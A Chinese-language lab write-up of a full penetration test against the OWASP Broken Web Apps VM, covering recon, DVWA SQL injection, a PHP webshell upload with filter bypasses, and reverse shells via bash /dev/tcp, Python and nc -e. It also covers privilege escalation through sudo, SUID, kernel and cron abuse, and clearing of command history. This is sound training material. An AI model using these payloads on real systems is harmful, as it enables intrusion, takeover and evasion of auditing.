从信息收集到权限提升:一次完整的渗透测试实战演练

📅 2026/7/4 6:05:18
从信息收集到权限提升:一次完整的渗透测试实战演练
1. 项目概述一次完整的渗透测试实战演练最近在整理自己的渗透测试学习笔记翻到了之前做的一个OWASP靶机项目。这个项目非常经典几乎涵盖了从外部信息收集到最终获取主机控制权的完整流程对于想从理论过渡到实战的朋友来说是个绝佳的练手材料。它不是那种一个漏洞直接拿到权限的“快餐”靶机而是需要你像真正的渗透测试工程师一样一步步地侦察、分析、尝试、突破最终达成目标。整个过程下来不仅能巩固OWASP Top 10里常见的Web漏洞知识还能把Kali Linux里的各种工具串联起来用对建立渗透测试的思维框架特别有帮助。我用的靶机是来自VulnHub平台的“Broken Web Apps (BWA)”它集成了多个存在漏洞的Web应用模拟了一个小型网络环境。我们的目标很明确从外部网络发现这个靶机收集尽可能多的信息找到Web应用的入口点利用漏洞逐步深入最终拿到靶机操作系统的最高权限root shell。这听起来像是一个标准的“黑盒测试”场景你只知道一个IP段其他一无所知所有信息都需要靠自己的技术和工具去挖掘。接下来我就把这次实战的完整过程、踩过的坑以及一些个人心得详细地记录下来。2. 环境准备与目标确认2.1 实验环境搭建工欲善其事必先利其器。一个稳定、隔离的实验环境是安全测试的前提。我的基础环境是VMware Workstation创建了两个虚拟机。攻击机自然是Kali Linux我选择了2023.4的版本它集成了我们所需的大部分工具。目标靶机就是上面提到的OWASP Broken Web Apps (BWA) VM。这里有个关键点网络模式必须设置为“NAT”或“仅主机模式”确保测试网络与我的物理机及互联网隔离避免意外扫描到外部真实资产这是安全测试的伦理底线。在启动BWA靶机后第一件事不是急于扫描而是确认它的网络配置。我通过靶机控制台如果提供或猜测其使用DHCP来获取它的IP地址。通常在NAT网络下我们可以通过查看VMware的虚拟网络编辑器或者直接在Kali中使用netdiscover这样的ARP扫描工具来快速定位同一网段内新上线的设备。命令很简单sudo netdiscover -r 192.168.xxx.0/24将xxx替换为你的虚拟网段。很快我就发现了一个新的IP地址其MAC地址前缀与VMware虚拟机吻合这大概率就是我们的目标靶机了。记下这个IP我们所有的后续操作都将围绕它展开。注意在实际授权测试中目标的IP地址或域名范围会由客户明确提供。在自制实验环境中我们通过扫描发现目标但务必确保扫描范围仅限于你的实验网络内。2.2 明确测试边界与目标在开始任何技术动作之前明确“游戏规则”至关重要。本次测试的边界是单一IP地址即BWA靶机我们的目标是获取该主机的最高控制权限。测试类型为“黑盒”即我们除了一个IP对目标系统的技术栈、开放服务、应用类型一无所知。这模拟了外部攻击者最初始的视角。我们需要遵循一个基本的渗透测试流程信息收集 - 漏洞扫描与分析 - 漏洞利用 - 权限提升 - 报告整理。当然在实战中后渗透内网横向移动、数据窃取等也是重要环节但在这个单机靶场中我们以拿到root权限为最终标志。3. 全方位信息收集与侦察信息收集是渗透测试中耗时最长、也最考验耐心的阶段但它往往决定了后续攻击路径的成败。收集的信息越全面攻击的面就越广成功率也越高。我对目标IP展开了多层次的信息收集。3.1 主机发现与端口扫描虽然我们已经通过netdiscover找到了IP但正式的端口扫描是了解目标开放服务的窗口。我首选Nmap这个神器。首先进行一次快速扫描了解目标的活动状态和最明显的端口sudo nmap -sS -T4 靶机IP。-sS代表TCP SYN半开放扫描速度快且相对隐蔽-T4指定扫描速度。扫描结果显示目标主机开放了22SSH、80HTTP和443HTTPS端口。这是一个非常典型的Linux服务器端口配置。为了获取更详细的信息我接着进行了服务版本探测和脚本扫描sudo nmap -sV -sC -O -p 22,80,443 靶机IP。参数解释-sV探测服务版本-sC使用默认的Nmap脚本进行漏洞和基本信息探测-O尝试识别操作系统-p指定扫描的端口。这次扫描返回了宝贵信息SSH服务是OpenSSH 6.7p1Web服务器是Apache 2.4.10操作系统可能是Ubuntu。这些版本信息将成为我们后续搜索漏洞的重要依据。3.2 Web应用指纹识别与目录枚举既然80和443端口开放Web应用无疑是主要的攻击入口。我首先用浏览器访问了http://靶机IP。页面显示了一个索引页列出了BWA套件中包含的多个漏洞应用如Mutillidae、DVWA、WebGoat等。这太好了等于直接给了我们一个“漏洞菜单”。但我们的侦察不能止步于此。我使用WhatWeb或Wappalyzer浏览器插件对主页面进行了指纹识别确认了Apache版本、PHP版本等信息。接着针对重要的应用路径比如看起来像后台的/admin或者像管理入口的/phpmyadmin需要进行目录和文件枚举。我使用了Gobuster这个工具它比传统的Dirb速度更快。命令如下gobuster dir -u http://靶机IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,html。这个命令的意思是针对目标URL使用common.txt这个字典进行目录爆破并尝试.php,.txt,.html等扩展名。扫描结果除了已知应用还可能暴露出备份文件如index.php.bak、配置文件、日志文件等这些往往是敏感信息泄露的来源。3.3 针对性漏洞搜索与初步分析根据Nmap扫描到的服务版本Apache 2.4.10, OpenSSH 6.7p1和Web应用指纹PHP 5.x我开始在漏洞数据库如Exploit-DB、NVD和搜索引擎中搜索相关的公开漏洞。例如搜索“Apache 2.4.10 exploit”或“OpenSSH 6.7p1 vulnerability”。同时针对BWA套件中已知的应用如DVWA我回忆或搜索其常见的漏洞类型和利用方式。这个阶段的目的不是盲目攻击而是建立潜在的攻击向量清单比如DVWA可能存在SQL注入或文件上传漏洞某个PHP版本可能存在解析漏洞等等。4. 漏洞利用与横向突破信息收集完成后我们手头有了一张“地图”开放的服务、运行的应用、潜在的漏洞点。现在需要选择最有可能的路径进行突破。我决定从Web应用入手因为其交互性高攻击面大。4.1 Web漏洞利用实例以SQL注入获取初步立足点我选择了DVWADamn Vulnerable Web Application作为第一个突破口。将安全级别设置为“Low”后我直奔“SQL Injection”模块。在输入框尝试经典的注入探测页面返回了数据库错误信息确认存在注入点。接下来使用联合查询Union Based注入来获取数据。通过order by子句判断字段数然后构造Union查询将数据库版本、当前用户等信息显示出来。关键的步骤是尝试获取数据库中的用户凭据。DVWA的数据库里通常有users表包含user和password字段。我构造了这样的注入Payload union select user, password from users#。成功执行后页面上返回了管理员通常是admin的密码哈希值MD5格式。拿到哈希值后我使用John the Ripper或在线彩虹表如CrackStation进行破解。运气不错密码强度不高很快就被破解出来得到了明文密码。实操心得在真实场景中Web应用的后台密码可能直接用于登录SSH或其他服务用户密码复用。因此拿到Web后台密码后一定要尝试用它去登录SSHssh admin靶机IP。在这个靶机中这个思路很可能行得通。4.2 利用文件上传漏洞获取WebShell如果SQL注入没能直接拿到可用的系统权限或者想建立一个更稳定的后门文件上传漏洞是另一个绝佳选择。在DVWA或Mutillidae中通常存在文件上传功能并且在前端或后端校验不严。我准备了一个一句话PHP WebShell内容为?php system($_GET[‘cmd’]);?将其保存为shell.php。如果应用只检查客户端JavaScript验证直接禁用浏览器JS或使用Burp Suite拦截修改请求即可绕过。如果服务端检查了文件扩展名可以尝试多种绕过技巧将文件命名为shell.php.jpg利用解析漏洞、使用双扩展名shell.php.jpg、在Burp中修改Content-Type为image/jpeg或者利用空字节截断如shell.php%00.jpg取决于PHP版本。上传成功后通过浏览器访问这个WebShell文件并附加?cmdwhoami参数如果页面返回了当前Web服务的运行用户如www-data则说明我们成功地在服务器上执行了系统命令获得了初步的代码执行能力。4.3 从WebShell到反向Shell在WebShell中执行单条命令很不方便且交互性差。我们需要升级为一个完整的反向ShellReverse Shell将靶机的命令行会话反弹到我们攻击机的监听端口上。在Kali上我使用Netcat监听一个端口nc -lvnp 4444。然后在WebShell中执行一个反向连接的命令。根据靶机环境的不同有多种Payload可选Bash反向Shellbash -c ‘bash -i /dev/tcp/攻击机IP/4444 01’Python反向Shellpython -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机IP”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’使用nc工具如果靶机安装了netcat且支持-e参数则更简单nc 攻击机IP 4444 -e /bin/bash将上述命令中的攻击机IP替换为你的Kali IP通过WebShell的cmd参数执行。如果一切顺利你会在Kali的Netcat监听窗口看到一个来自靶机的bash提示符通常用户是www-data。至此我们成功地从外部Web漏洞渗透进了系统内部获得了一个低权限的Shell。5. 权限提升与主机控制拿到www-data这类Web服务用户的Shell只是万里长征第一步。这个权限通常受限无法查看敏感文件如/etc/shadow、无法安装软件、无法进行重要的系统配置。我们的最终目标是root权限。这个过程称为权限提升Privilege Escalation分为纵向提权提升到root和横向提权切换到其他高权限用户。5.1 信息收集内部在提权之前需要在靶机内部进行新一轮信息收集寻找可能的提权路径。我通常会运行一些脚本或手动检查以下信息系统信息uname -a内核版本cat /etc/issue或cat /etc/*release发行版信息。用户和组id当前用户权限cat /etc/passwd所有用户sudo -l检查当前用户可以以root身份运行哪些命令这是黄金线索。进程与服务ps aux或top查看运行进程netstat -tulpn查看网络连接和监听端口。计划任务crontab -l当前用户的计划任务ls -la /etc/cron*系统计划任务目录。SUID/GUID文件查找设置了SUID位且属主是root的可执行文件这可能是提权点。命令find / -perm -us -type f 2/dev/null。可写文件与目录查找全局可写的敏感目录或文件尤其是计划任务脚本、服务启动脚本等。命令find / -writable -type d 2/dev/null。5.2 常见提权路径分析与实战根据内部信息收集的结果选择最有可能的路径进行尝试。路径一利用sudo权限运行sudo -l后如果返回类似(ALL : ALL) NOPASSWD: /usr/bin/vim这样的结果那就中大奖了。这意味着当前用户可以不用密码以root身份运行vim编辑器。那么我们可以通过sudo vim打开vim然后在vim中执行系统命令来获取一个root shell:!bash或:!/bin/sh。类似的可利用程序还有find,awk,more,less,nmap交互模式等。关键在于sudo -l列出的命令是否允许以root身份执行以及该命令能否被用来启动一个shell或读写敏感文件。路径二利用SUID可执行文件如果发现一个不常见的、属主为root且设置了SUID位的可执行文件可以去Exploit-DBsearchsploit搜索该二进制文件的本地提权漏洞。更经典的一个例子是/usr/bin/find。如果它有SUID位我们可以利用它来提权find . -exec /bin/bash -p \;。-exec参数会让find执行后面的命令而由于find以root权限运行它执行的/bin/bash也会继承root权限-p参数告诉bash保留有效用户ID。路径三内核漏洞提权通过uname -a获取内核版本然后在Kali上使用searchsploit linux kernel 版本号搜索公开的内核漏洞利用代码Exploit。例如著名的Dirty CowCVE-2016-5195漏洞影响范围极广。找到对应的Exploit后将其上传到靶机可以用Python的HTTP模块在Kali启一个简易服务器然后用靶机的wget或curl下载编译并执行。但这里有一个巨大的坑很多Exploit代码在编译时依赖特定的头文件或库而靶机环境可能没有编译环境如gcc。因此更稳妥的方法是在与靶机相同发行版和内核版本的机器上预先编译好再将二进制文件上传执行。路径四利用计划任务Cron Jobs检查系统计划任务时如果发现一个以root身份定期运行的脚本并且这个脚本当前用户有写入权限那么就可以通过修改这个脚本内容植入我们的反向Shell命令等待计划任务执行从而获得root权限的Shell。例如发现/etc/cron.hourly/backup.sh是root每小时运行一次且www-data用户可以写那么就可以用echo “bash -i /dev/tcp/攻击机IP/5555 01” /etc/cron.hourly/backup.sh写入恶意代码然后在Kali上监听5555端口等待提权。5.3 本次靶机提权实战记录在本次BWA靶机中我通过内部枚举发现了一个关键的提权向量。运行sudo -l后显示当前www-data用户可以以root身份无需密码运行/usr/bin/php。这是一个非常清晰的提权路径。利用方法很简单因为php可以执行系统命令。我直接运行sudo php -r “system(‘/bin/bash’);”。-r参数允许直接在命令行中运行PHP代码system()函数用于执行系统命令。由于sudo赋予了这条命令root权限因此执行的/bin/bash就是一个具有root权限的Shell。执行后命令提示符从$变成了#输入id命令确认用户已经变成了root。至此我们成功完成了从外部信息收集到获取主机最高控制权的全过程。重要注意事项在真实渗透测试或CTF比赛中拿到root权限后第一件事往往是读取/etc/shadow文件获取所有用户密码哈希或者查看/root目录下的敏感文件如历史记录、SSH密钥、flag文件等。但在授权测试中必须严格遵守测试范围不得触碰与目标无关的数据。6. 后渗透清理与痕迹管理在授权测试中测试结束后清理痕迹是职业操守的体现。虽然本次是本地靶场但养成好习惯很重要。需要清理的痕迹包括上传的WebShell文件、在系统中创建的临时文件、下载的Exploit二进制文件、以及各种日志如Web访问日志、命令历史等。例如删除WebShellrm /var/www/html/shell.php清除当前用户的命令历史history -c rm ~/.bash_history。对于修改过的文件如计划任务脚本要记得恢复原状。在真实环境中这些操作需要格外小心避免对系统造成意外损害。7. 工具链总结与心得分享回顾整个流程用到的核心工具链如下信息收集Nmap(端口/服务扫描)、Gobuster/Dirb(目录枚举)、WhatWeb(Web指纹)、浏览器开发者工具。漏洞利用浏览器手动测试、Burp Suite(拦截改包)、Sqlmap(自动化SQL注入但手动理解更重要)。权限提升LinPEAS或LinEnum(自动化Linux提权信息收集脚本强烈推荐)、searchsploit(搜索漏洞利用代码)。踩过最大的坑就是“想当然”。比如看到一个服务版本就急于去找对应的远程漏洞利用却忽略了近在眼前的Web应用漏洞。或者在提权时只盯着内核漏洞没有仔细检查sudo -l和SUID文件这些更简单直接的路径。渗透测试的本质是信息战耐心和细致的信息收集永远比盲目的攻击尝试更有效。这个OWASP靶机就像一本好的教科书它把多个知识点串联在一个真实的环境里迫使你去思考、去串联、去解决一个又一个问题。对于新手而言我建议每一步都手动操作理解其原理然后再尝试使用自动化工具提高效率。毕竟工具是手臂思维才是大脑。